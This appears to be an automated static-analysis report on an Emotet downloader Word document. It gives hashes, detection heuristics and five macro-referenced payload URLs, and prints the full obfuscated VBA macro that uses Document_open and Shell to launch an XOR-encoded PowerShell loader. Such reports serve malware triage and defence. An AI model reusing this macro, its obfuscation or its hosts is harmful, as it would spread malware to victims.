Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2fd4d9c82e256754…

MALICIOUS

Office (OLE)

103.0 KB Created: 2018-06-14 21:25:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: f8c3106b0330b41ffa9cf5e7ef59f18e SHA-1: f5a65656fc0fb6066f52863b22169d57e879eabe SHA-256: 2fd4d9c82e25675412b8c333854fa856f0d8a87bab6800d6e028cb6714c9a7c5
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6877385-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6877385-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    WILuXP = Osdwjo - CTYMii / 82474 / qBcAMI - 223327908 + Hex(ZtuwE) * kuoIR - Round(64339)
tYrLPPm = UBLczC + VBA.Shell(qstLihGVR + Chr(zAsfpw + vbKeyP + cbQDlchnkKi) + "owers" + DjYiKiSOah + hBfOAAdpccw + OKwqi + ibTckNt + jaaNSFSznz + SzbRcnvYkhA, 44598 - 44598)
YwVJdE = Sqr(58923)
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schoonheidssalon-surrender.nl/hhBqx6/ Referenced by macro
    • http://vadonka.com/iTKS/Referenced by macro
    • http://www.andreybodrov.ru/aB2aK/Referenced by macro
    • http://www.doganayismakyedekparca.com/ssRjh/Referenced by macro
    • http://www.kencanamulia.com/NbapD/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17073 bytes
SHA-256: 7144bb067d1fb5b2446e8cffa87b65187569af00dcddc6d0ca82c262b481a98c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
276 of 441 identifiers look randomly generated (e.g. 'HRaWGVfGBMEn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HRaWGVfGBMEn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function tYrLPPm()
On Error Resume Next
Qvptoc = Sqr(91878)
vITWW = 71872 + WacDj + (54275 * CDbl(ftAioY) - UECnO / CSng(62228) - sliwhX / Hex(mvRBc) + 35450 - 44138)
GtwVVj = pajFV
BQwuaE = iIFFi - uFwEtt / 96546 / dMGwon - 223327908 + Hex(wUrXw) * jhlda - Round(65074)
EJfLNI = Sqr(34175)
rYEpwm = 31996 + joNhh + (56252 * CDbl(YNbTL) - AkptD / CSng(95745) - RHfwn / Hex(UIcvin) + 33085 - 41204)
isXNsq = qqpuj
NbYdqo = wvowr - IQtiIF / 91487 / wftwB - 223327908 + Hex(fNrkJz) * RVPVdU - Round(25781)
EzHQZ = Sqr(35538)
vifpI = 68886 + EEpszr + (90811 * CDbl(MfkiSO) - bUijmb / CSng(26746) - FdSAZl / Hex(oMdPiv) + 55279 - 71730)
izSdWv = ldEDWM
tCPCLK = zHqYj - fqVsX / 81897 / EDjlw - 223327908 + Hex(FioTzF) * pYwKii - Round(57569)
wwmWR = Sqr(11285)
qSiDbE = 87497 + osTwZ + (13026 * CDbl(KJtMkY) - vPFMMQ / CSng(23370) - EWtFi / Hex(jfCZuX) + 37079 - 90954)
jHoWtW = OcPtjt
WILuXP = Osdwjo - CTYMii / 82474 / qBcAMI - 223327908 + Hex(ZtuwE) * kuoIR - Round(64339)
tYrLPPm = UBLczC + VBA.Shell(qstLihGVR + Chr(zAsfpw + vbKeyP + cbQDlchnkKi) + "owers" + DjYiKiSOah + hBfOAAdpccw + OKwqi + ibTckNt + jaaNSFSznz + SzbRcnvYkhA, 44598 - 44598)
YwVJdE = Sqr(58923)
SKRWDp = 97770 + jClkw + (33731 * CDbl(jENwD) - ZattF / CSng(27315) - KkHWuR / Hex(kWlOs) + 78001 - 25636)
jRajGG = dOJmbJ
ZfFbs = YdzaLI - uOpfwn / 26096 / zEOtr - 223327908 + Hex(vYwli) * firppa - Round(2134)
bzdPS = Sqr(24303)
ZaqhAi = 57355 + BpdbT + (22955 * CDbl(AqYmQ) - immoI / CSng(44620) - tSGSP / Hex(IRwHZS) + 37871 - 7298)
IQRcFi = jfiiQR
oFdBZr = EtrKSL - iKMYDF / 3722 / wTwHSL - 223327908 + Hex(LtEwOi) * oOURd - Round(88932)
End Function
Private Sub Document_open()
On Error Resume Next
hvbLS = Sqr(35845)
HJESY = 55115 + iwGTw + (9584 * CDbl(VwEmcH) - QLuOl / CSng(35123) - uCpslY / Hex(fJCsAc) + 61215 - 68919)
iIBsj = oQrOGc
ciVkqz = DmKTn - QbKjnq / 78201 / tbfoj - 223327908 + Hex(MSKHf) * PNNQoD - Round(64794)
isqDn = Sqr(37547)
iCpvJn = 93702 + cDoMjD + (26335 * CDbl(rjIoDo) - WwtYGh / CSng(27689) - CziiLa / Hex(tuDNdm) + 38136 - 61036)
wFqIrn = GlvXcd
juQTwQ = qCOTm - BYCTz / 80986 / lpLwC - 223327908 + Hex(mqNrK) * jIwkuH - Round(88758)
tYrLPPm
LviLBV = Sqr(66365)
EDqjRQ = 64094 + YcLDXC + (11660 * CDbl(oHMFM) - YiwfVA / CSng(63740) - WTGwiE / Hex(AcrMw) + 11927 - 68832)
iMLOTh = FJqXE
zkUiL = mvhzsG - zZYBwn / 60391 / sOdof - 223327908 + Hex(kqofLo) * GNJZv - Round(25480)
njhMYX = Sqr(18911)
qHWrp = 62085 + BFsRj + (34003 * CDbl(qLObAa) - ZMNPLY / CSng(43972) - jiail / Hex(zrSkP) + 20609 - 78650)
vfBOdH = VGJEh
iDGOQu = biIfm - NqCjQ / 82469 / wrlPA - 223327908 + Hex(Zdhzzz) * rwXXX - Round(3935)
End Sub


Attribute VB_Name = "iqFHfCU"
Function DjYiKiSOah()
On Error Resume Next
MLTHw = 89216 + jwcHJ + (72606 * CDbl(pwhTYp) - UFrkPo / CSng(25895) - KXpNk / Hex(wikfF) + 69053 - 12203)
sDESrG = XhGANo - SwAOs / 29371 / oSGnZM - 223327908 + Hex(fSzNKV) * lJSfqG - Round(23409)
svEwoA = Sqr(15991)
muVDOi = pGWMbu
jCSlLzu = "HeLL [STrIN" + "g]::JOIn" + "('',([Char[" + "]] (112,2"
lwfSt = 61947 + PGnCSa + (63690 * CDbl(iiBIlr) - WuRYS / CSng(42927) - ZFRia / Hex(KnNwa) + 37519 - 64617)
GkFMSb = AVNWtj - lnzjbv / 40074 / hRJZa - 223327908 + Hex(cKXAI) * zjZOij - Round(4400)
wppNvW = Sqr(25856)
zjsHnc = vZHtr
rQIIvnRh = "1 , 56," + "21 ,38" + " ,23 , 13 ,116" + ", "
WBCnC = 84726 + jYKqW + (70648 * CDbl(iEOkws) - HdUUVN / CSng(22808) - awHFqM / Hex(ilLqhV) + 77770 - 33458)
QCZOXh = hipjw - iQulj / 50977 / YHKXTL - 223327908 + Hex(tSwfAm) * rDRza - Round(92906)
aDOjz = Sqr(76473)
bNzoM = EBOPu
YujJZhcWkd = "105,116 ," + "58" + ",49, " + "35,121,59 , 5" + "4,62 ,49 ,55 ," + " 32 , 116" + ",38,53,58, " + "48 ,59 ,57" + " ,"
KFIrB = 90700 + kZOjJ + (63007 * CDbl(wrNco) - iKuwS / CSng(66763) - IJjJVj / Hex(bMiLPC) + 28455 - 23415)
jonuAL = ZTRDa - FKaFjj / 17358 / NmuSR - 223327908 + Hex(QjawBM) * chvfbB - Round(41999)
PfiHiH = Sqr(94651)
iLsoq = oJJcw
aaEbTQ = " 1" + "11," + " 112 , 14 , 56" + ",63 ,37," + "57 ,29 ," + "116, 105,116 ," + " 58" + " ,49 ,35 , 121 "
TCscij = 91673 + sTBOBd + (55781 * CDbl(ZIhnQQ) - ijOUv / CSng(54376) - DdXtJ / Hex(DCsUaw) + 8161 - 32193)
qBdCAJ = TMANTP - rHTzb / 44060 / MNUMl - 223327908 + Hex(KNnDz) * RnWQGi - Round(86796)
WBjsc = Sqr(54273)
wkLlDJ = HCuXo
wmtaKTmP = ",59, 54 ,6" + "2, 4" + "9 ,55 " + ", 32 ,116 ," + "7 , 45" + " , 39" + " , 32 , 49 ," + "57 ,122, 26, 49" + " , 32 , 122 " + ",3 ,49, 54,"
FWdnI = 80833 + klFYw + (26485 * CDbl(wlUrM) - iQqEn / CSng(73234) - kniUaI / Hex(rvJiIQ) + 29785 - 15947)
LCAaR = fYAWOi - HlwoOf / 4823 / liwDav - 223327908 + Hex(VKROh) * TSahhC - Round(30457)
TjdUN = Sqr(5569)
ZIZik = lftMu
cLHiblPRjZ = "23 ,56,61,49 ,5" + "8 ,32 , 1" + "11 ,112" + " , 23"
TEXrt = 17118 + qFzzJ + (75653 * CDbl(XGhdm) - DwtTPh / CSng(77588) - VLjjOt / Hex(WKpIGh) + 82606 - 64001)
DNiWX = DcMUT - tTQvt / 38415 / vrVfI - 223327908 + Hex(OqjNH) * VmmdT - Round(60914)
mBaPN = Sqr(66934)
hmCkLN = loGhAY
zhUiq = ", 28,27, 61,39," + " 116, 1" + "05" + ", 116,115 " + ",60 ,3" + "2, 32, 36," + " 110, 123" + ",123 ,39 , 55, " + "60 , 59,59" + ",58 ,"
vNnjhh = 50605 + IUXOF + (92262 * CDbl(jGqzPW) - ooiZtv / CSng(83442) - HKHacI / Hex(GvlFNS) + 84351 - 68433)
KCYzBI = fShNNH - TpkAuM / 19229 / awEfi - 223327908 + Hex(fFuNl) * PZkzE - Round(75207)
qqPljt = Sqr(47875)
bLHNw = NVnjWG
uwwzPzW = " 60,49," + " 61 ,48,39 " + ", 39," + " 53,56, 59 " + ", 58,121 ,39 ,"
hCcbu = 43075 + lzMmz + (54344 * CDbl(PtFlwH) - jNpSi / CSng(76736) - fFEOO / Hex(iMzJE) + 65508 - 26212)
dUPjrz = pnJMiC - tHXkD / 16751 / wwjOt - 223327908 + Hex(Jiqmo) * aBlpiX - Round(52398)
aiwft = Sqr(387)
avliWr = XZAjw
WNUiPSW = "33" + ", 38" + ",38, 49 ," + " 58 , 48 ," + " 49,38 ,1"
DjYiKiSOah = jCSlLzu + rQIIvnRh + YujJZhcWkd + aaEbTQ + wmtaKTmP + cLHiblPRjZ + zhUiq + uwwzPzW + WNUiPSW
End Function
Function hBfOAAdpccw()
On Error Resume Next
thYjVz = 85662 + KwWXuc + (7801 * CDbl(StNcX) - mwnOjz / CSng(55746) - Qswwj / Hex(MGIai) + 95589 - 25803)
hjNUO = cvHNsK - jdZww / 68749 / MkntZR - 223327908 + Hex(SSJBw) * viLkb - Round(33293)
dVEhA = Sqr(45796)
XJzszK = jaauq
ciNLlLmsIzE = "22,58, 56 ,12" + "3 ," + " 60,60, 2" + "2 , 37" + " ,44 " + ", 98 , 123 ," + " 20 ,60,"
bvztT = 89768 + WJczMu + (10739 * CDbl(zRoWf) - LBiaE / CSng(74235) - sSWDQ / Hex(dAlRRh) + 38448 - 5856)
HjFGPt = TPInd - GuwMcJ / 23961 / WpLHlU - 223327908 + Hex(aIFNJj) * TKbNG - Round(43980)
hDzvhz = Sqr(67355)
kKBMp = HjAwGl
OSCMqjUkf = "32 ,32, 36, 11" + "0 ," + " 123 ,123 ,34," + "53 , 48 , 5" + "9," + " 58, 63,53 " + ", 122 ,55 ,5"
luuwiZ = 67799 + HCZUHr + (50825 * CDbl(lODpBU) - iiCtV / CSng(45618) - zZmBd / Hex(Pcjjn) + 12788 - 89603)
rjjhQi = QbjNU - CzhGOA / 43838 / iXBua - 223327908 + Hex(XdcJnG) * IqFTNv - Round(98817)
HEaji = Sqr(32461)
BZjZib = DjFnW
aWtJfvc = "9, 5" + "7 ,123, " + "61,0,31" + " ,7,123,20, 6" + "0, 32 ,32 " + ",36 ,110" + " , 123 ," + " 123,35 ,3" + "5,35 ,122" + ", "
oMMfmp = 70322 + nwWaNH + (88452 * CDbl(bmAFX) - WWbINa / CSng(31095) - IoEMm / Hex(dajXKG) + 46848 - 18297)
cWrqp = icKch - iVAUzf / 2120 / duQZM - 223327908 + Hex(bjIASK) * UcqvGo - Round(45184)
zYFZzv = Sqr(63738)
IAamM = HXUVi
CHknvIWOvZh = "53 , " + "58 ,48,38," + " 4" + "9 " + ", "
hBfOAAdpccw = ciNLlLmsIzE + OSCMqjUkf + aWtJfvc + CHknvIWOvZh
End Function
Function OKwqi()
On Error Resume Next
qhFSdv = 52815 + TJKWPO + (86211 * CDbl(ZqrdD) - unhtzz / CSng(22639) - YAQzd / Hex(kcdswH) + 53608 - 82309)
aQXInS = jwijvk - GPlza / 93443 / whwGD - 223327908 + Hex(NqTLw) * nZzcV - Round(14790)
UDjlN = Sqr(21385)
vAdrS = iXkcSu
PPQlP = "45,54 , 59 ," + "48,38,59" + " , 34 ," + "122 , 38,33 , 1" + "23, 53 ,22, 1" + "02,53,3" + "1 ,123, 20 , " + "60,32 ,32,36,"
OXcjaC = 68428 + WscSki + (94908 * CDbl(GnQqID) - CPYaz / CSng(18693) - CYXMwQ / Hex(QBTYSW) + 1316 - 37615)
dKDaTC = lpXqEu - khnql / 94246 / qhTiQ - 223327908 + Hex(cpkrCt) * inNWzz - Round(82888)
nzIZHA = Sqr(59543)
stwRX = FJOnun
IwhrOQv = " 110 ,123 , " + "123, 35" + ",35,35 ,1" + "22," + " 48 , 59 ," + " 51, 53, 58,53" + " ,45,61 ,39 " + ", 57 ,53, " + "63 ,45 " + ", "
ndjrCQ = 98378 + FjnKUq + (94729 * CDbl(RtmFf) - jITMW / CSng(30836) - wZnLu / Hex(Kdiuir) + 79978 - 45542)
YcczZ = aYqtji - GAzZv / 75084 / mwDNqq - 223327908 + Hex(mPcwA) * iBKjv - Round(41334)
WEjYP = Sqr(14097)
cwKPEO = blROh
LORBWnUIjN = "49 ,48, " + "49 , 63,3" + "6 , 53," + "38 , 55 ,5" + "3 ,122" + " , 55 ,59 , 57," + " 12"
cQhZYO = 17728 + coJOvi + (54690 * CDbl(FpQiZW) - jvPFjY / CSng(11383) - KSVYp / Hex(blVmmn) + 26913 - 93445)
CFcBiJ = ZKWZw - ZKmfiD / 89739 / njakGV - 223327908 + Hex(FjAiWm) * SNvzc - Round(23903)
taipFj = Sqr(78020)
CFDoI = RLWEJ
iBzmrUB = "3,3" + "9 ,39" + ", 6 , 62, " + "60 ,123 ," + " 2" + "0 ,60,32 ," + "32 , 36 ,110" + ", 123,12" + "3, 35 ,35,35 "
nOWCQX = 77540 + UbWqcJ + (11601 * CDbl(Zkjbif) - TlmNB / CSng(28774) - ZYFcz / Hex(wKiZn) + 66053 - 85031)
ZvBLH = CRiKn - GCwkA / 18226 / vOFHn - 223327908 + Hex(nMZmQd) * qvzdDQ - Round(84882)
twVkO = Sqr(46429)
bQozt = PrJbd
unbAOztB = ", 122 " + ", 63 , 4" + "9, 58" + " , " + "55,53,58 , 53" + " ,57,3" + "3, 56," + " 61 ,53 , 1"
OKwqi = PPQlP + IwhrOQv + LORBWnUIjN + iBzmrUB + unbAOztB
End Function
Function ibTckNt()
On Error Resume Next
McDUnO = 22656 + qdfNh + (502 * CDbl(KCUjj) - ABWFs / CSng(75094) - BOdYvC / Hex(NsfppE) + 46691 - 21817)
bhlJMb = OvafRc - GSfZKS / 43980 / rftolI - 223327908 + Hex(KmlbS) * rKtNm - Round(21876)
NlhAu = Sqr(51306)
tszOA = lwvNV
lfviwpR = "22 , 55 , 5" + "9 ,57,12" + "3,2" + "6 ,54," + "53 , 36 ,16, " + "123 , 115 ,1"
YwpGQ = 45403 + Yulotq + (18240 * CDbl(PHmLXH) - lcFmF / CSng(41982) - AIMBT / Hex(GBEcqz) + 74153 - 45089)
POMBT = NAdST - tccsX / 30035 / NDJVaU - 223327908 + Hex(cBZWfD) * otzoS - Round(51020)
ajPZS = Sqr(84085)
tOZGj = HTBak
BFCrXO = "22, 7, 36 ,56" + ",61 , 32" + ", 124, 115, 20" + " ,115, 12" + "5, 111, 1" + "12,57 , " + "62 ,61,6, 2" + "2,11"
HGtmjl = 66434 + bGmQO + (9209 * CDbl(iDFpvZ) - KzzFE / CSng(92227) - liVbf / Hex(nEClpM) + 53677 - 52987)
VjEHvv = ahmIqb - oiXva / 2781 / ziwYR - 223327908 + Hex(jEiwj) * sAvbZ - Round(83476)
lNAZzT = Sqr(70008)
nDzYdO = jwosKb
IpLai = "6 ," + " 105, 11" + "6 , 112,21 ,5" + "6 ,21 , 38 " + ",23," + " 13, " + "122 , " + "58 , 49,44," + " 32 , 124 , " + "101, 120,116"
iSVzGi = 57548 + FWCoYq + (68311 * CDbl(tGwER) - JsIioA / CSng(80605) - mdwqR / Hex(fwVqN) + 45685 - 15090)
CzbuJ = obudut - YriYKk / 90047 / HqujUm - 223327908 + Hex(ktTkj) * bzOXPC - Round(18695)
FmuuhF = Sqr(59887)
NKHaT = QVYSBB
MYwrkZuk = " , 102, 109" + ",97,99 , 108" + ",98, 125," + "111,1" + "12, 48" + " ,16 " + ",36," + "5,2" + "1 , "
GhOoqS = 82743 + JKNJz + (84962 * CDbl(Builr) - GRSQF / CSng(53930) - WwQwA / Hex(thIbMr) + 6199 - 91006)
mzjjzQ = YkqSiN - RJQzms / 36025 / tnPfw - 223327908 + Hex(VWZjB) * iwRzt - Round(33309)
SAujCs = Sqr(40891)
wkcOEj = LWXUka
BYiPzHdWRkN = "13 , 116 ,10" + "5 , 116,112 ,49" + " ,58,34 ,110, " + "32,49 , 57 , 3" + "6 , 116,127 ," + "116 , "
cKPFv = 37757 + SiCOQ + (73899 * CDbl(uPUsTG) - fPurD / CSng(98281) - YhkDW / Hex(YIOrVd) + 47397 - 98682)
szzlz = UNsUCt - RKtMEl / 1872 / WqhVwO - 223327908 + Hex(GFLzPS) * EZoaNt - Round(56685)
ANlwnT = Sqr(18827)
DbBkQ = ZjlSD
LzZaFMsjRE = "115, 8 ,1" + "15,116 , 127" + ",1" + "16 " + ",1" + "12 ," + "57" + " ,62" + ",61," + " 6, 22"
PPBjm = 13275 + JFdiZG + (38927 * CDbl(dYHzt) - LPJffP / CSng(37014) - QGfVvJ / Hex(ZhGWq) + 99522 - 32037)
mcbDA = AHrTjp - wDKKw / 9003 / AdChvm - 223327908 + Hex(WksEX) * EttUF - Round(46748)
IJvXOF = Sqr(18336)
IVGmjC = ljhImW
QfIGIWC = " , 116 ,127, " + "116 ,1" + "15 ," + "122"
ibTckNt = lfviwpR + BFCrXO + IpLai + MYwrkZuk + BYiPzHdWRkN + LzZaFMsjRE + QfIGIWC
End Function
Function jaaNSFSznz()
On Error Resume Next
SAJat = 17160 + pdXzO + (17999 * CDbl(SFKqEa) - JBzfO / CSng(37366) - rRzfpW / Hex(EjSbwK) + 84712 - 6380)
IpdIzL = ipjzMY - ZmuOV / 84438 / HPiGZ - 223327908 + Hex(XFavn) * EXAtf - Round(8927)
fIJtmE = Sqr(89572)
hzfWTb = JFkMP
bUKJjzSH = ",49" + ",44 ,49" + " , 115 , 111,50" + " , 59, 38, " + "49 ,53" + ", 55, 60 , " + "124" + ", 11" + "2,6,50 , " + "61, "
CfAZwC = 50239 + WZPkKq + (37733 * CDbl(ZtPJzT) - AlkPV / CSng(11902) - hcXDTY / Hex(aucii) + 4086 - 44442)
NljNAn = mEnhr - MHWuaw / 96471 / fTRvHr - 223327908 + Hex(PlqfD) * JSkKVm - Round(63217)
tjAkPJ = Sqr(58195)
YwHiu = DLiXwX
qMqJiEcwFfX = "18,12 , 24," + " 116 ," + "61,58 , " + "116, 1" + "12 ,23 ,28 ,27 " + ", 61" + ", 39 " + ",125 , 47,"
RSSswM = 44017 + wBotD + (79091 * CDbl(kELRwF) - wPCKYl / CSng(91704) - UXzbA / Hex(scqUT) + 11635 - 88803)
zOwcpV = qlolY - jRwbpT / 83959 / Vzdzid - 223327908 + Hex(qjltq) * VIwwK - Round(93163)
qLdnr = Sqr(10294)
ZqUfFh = dppKjv
GamdFfFQsD = " 3" + "2,38 ,4" + "5 , 47 ,112" + " , 14 ,5" + "6 , 6" + "3 ,37 , 57" + " ,29 , 122 ," + " 16,59 , 3" + "5,58 ,56 , " + "59,53 , 4"
iRVdG = 86026 + zFCrhd + (21670 * CDbl(zdiXC) - QRvRjq / CSng(98210) - inVcIr / Hex(dUEDLm) + 99088 - 56426)
LTNAZ = XCiXa - VFUUR / 37449 / ZTqCQ - 223327908 + Hex(ERMPhJ) * TURpd - Round(82467)
AWbRSY = Sqr(38545)
mEfiiz = ZPCwYN
qCSZwQUbscn = "8 ,18," + " 61 , 56,49 , " + "124 , 112" + " , 6 ,50, 61 ," + " 1" + "8,12 , 24, 122 " + ",0," + "59, 7," + "32 ,38, 61,58 ,"
wQuhV = 30995 + MVuKmz + (27969 * CDbl(vAniq) - PzrSJo / CSng(84782) - jVLIh / Hex(pYnwZ) + 61511 - 59101)
HWQZj = CPLbF - lYwiPD / 60707 / NrFKv - 223327908 + Hex(kUDaoo) * POorH - Round(52734)
OXOjAD = Sqr(35154)
JhBjO = OVvBH
DvtEVwXZZfd = " 51 ," + " 124 ,125" + ", 1" + "20 ," + " 116,1"
vGPRF = 57339 + jiLln + (31945 * CDbl(VJKnHc) - BpHHk / CSng(6358) - uvTGrQ / Hex(IzWmi) + 47404 - 85723)
wMTRt = IKVaT - nsfwAS / 25559 / oAdDO - 223327908 + Hex(dIzZp) * OhXtX - Round(98754)
MzJKNb = Sqr(61500)
VYkza = zpYjUw
aUnWiGltmG = "12, " + "48,16, 36 , 5," + " 21,13, " + "125 ,111,7 " + ",32 , 53 , 3" + "8 , 32,121, " + "4, 38"
vOVZv = 67111 + CfoAM + (91400 * CDbl(MWFVlY) - zVTcj / CSng(49638) - HOIokP / Hex(ttHbKH) + 93255 - 75850)
zipJws = zMJRv - fMcfr / 37526 / zuaQEL - 223327908 + Hex(ccOHG) * UJFuG - Round(95577)
rzVSs = Sqr(70317)
rrMRD = HzUTN
KNzwUKhBUw = " ," + " 59" + ", 55" + " , 49 " + ",39 , 39,116," + "112 , 48" + ", 16,36, 5"
jaaNSFSznz = bUKJjzSH + qMqJiEcwFfX + GamdFfFQsD + qCSZwQUbscn + DvtEVwXZZfd + aUnWiGltmG + KNzwUKhBUw
End Function
Function SzbRcnvYkhA()
On Error Resume Next
YHwFHY = 9860 + ZZVwBK + (48517 * CDbl(VGhZtS) - nfZZDp / CSng(90547) - FYfiPX / Hex(wVBNb) + 35866 - 79286)
QiFWJZ = zBuibQ - WcKZQI / 22797 / frSzP - 223327908 + Hex(tcPsY) * IzcsN - Round(59757)
zjbaC = Sqr(47625)
rKOBq = WXfXp
oMJInimH = ", 2" + "1,13,11" + "1, 54, 38,49 ,5" + "3, 63 , 111 " + ",4" + "1 ,55,53 " + ", 32 , 55 ,60" + ",47 , 35 ," + " 38 , 61 , "
QdrCOD = 22444 + IFZfl + (6269 * CDbl(RZARL) - spYNvb / CSng(47768) - wpKOH / Hex(lQvOp) + 4431 - 39446)
EEApz = oSoTb - lMQORi / 91009 / BdmcI - 223327908 + Hex(lXwaj) * AArkKY - Round(14352)
RZmLn = Sqr(46891)
WzSwq = qdERA
jJOwmGVo = "32, 49, 121 " + ",60, 5" + "9 ,39 , " + "32 ," + "116 ,112,1"
XaSXh = 66763 + QTOjnm + (71036 * CDbl(fEsWL) - DXrOt / CSng(65793) - XnEDwq / Hex(RSmrYv) + 61804 - 58514)
JjrUCa = nAwtf - frvHD / 24355 / BwPlY - 223327908 + Hex(fpQkRB) * btPzJO - Round(84354)
LZdzZV = Sqr(13280)
zwGuNP = uALVjs
URzKBwKJp = "1, 12" + "2 ,17 ,44, 55, " + "49 " + ", 36 , 32 , 61"
LQFvWv = 38565 + Qfrwh + (74343 * CDbl(vwoUnz) - QzZzz / CSng(13198) - tvtrAh / Hex(tNswJj) + 15293 - 38174)
BimzGV = wNpWj - HhFcCk / 92758 / iRRwE - 223327908 + Hex(wGAwBN) * pVvzn - Round(84181)
zAtGls = Sqr(64301)
DYzmwi = ihqVIp
VUrMLTfqOFA = ", 59" + " , 58 ," + "122 ," + "25 ,49," + " 39,"
PXMUCB = 91329 + pMsUWs + (33872 * CDbl(JcPtd) - hajMI / CSng(65060) - SWNucq / Hex(Jbwlw) + 81231 - 19949)
TNHqp = npsNzX - iatCzC / 66436 / dwnOzb - 223327908 + Hex(zFHWo) * tjUzc - Round(43474)
wQNDaH = Sqr(57888)
Awrlj = sTndjH
muuCAN = "39" + " , 53, 51, 49" + " ,111,41 ,41 ) " + "| FOre"
VqRUcr = 21199 + qnGdj + (39517 * CDbl(tYCXju) - lOwbE / CSng(14193) - iEfRs / Hex(DPAXk) + 22281 - 30381)
wwEYAv = CYBnD - MiaLqU / 64959 / YfmUfI - 223327908 + Hex(miXfYb) * FbssEw - Round(25056)
FcNDZ = Sqr(67004)
Gsiqnt = qUBbE
sJccnzCWSz = "acH { " + "[Char]($_-BxO" + "r " + Chr(34) + "0x5" + "4" + Chr(34) + ") }) )| " + ".((V" + "aRIAbLE '" + "*mdr*')." + "NaME[" + "3,11,2]-Jo"
TREVn = 49516 + qiIfW + (57563 * CDbl(zTwPjQ) - JpMNEI / CSng(71343) - JaXIKl / Hex(oWRYw) + 70559 - 82780)
RDaKbr = iRfKU - HOTrpi / 53309 / KTMSBj - 223327908 + Hex(iPjzu) * FEjbiw - Round(28698)
cuatBi = Sqr(29534)
VwHRDW = BNFBT
uuKUYuQO = "in'')"
SzbRcnvYkhA = oMJInimH + jJOwmGVo + URzKBwKJp + VUrMLTfqOFA + muuCAN + sJccnzCWSz + uuKUYuQO
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.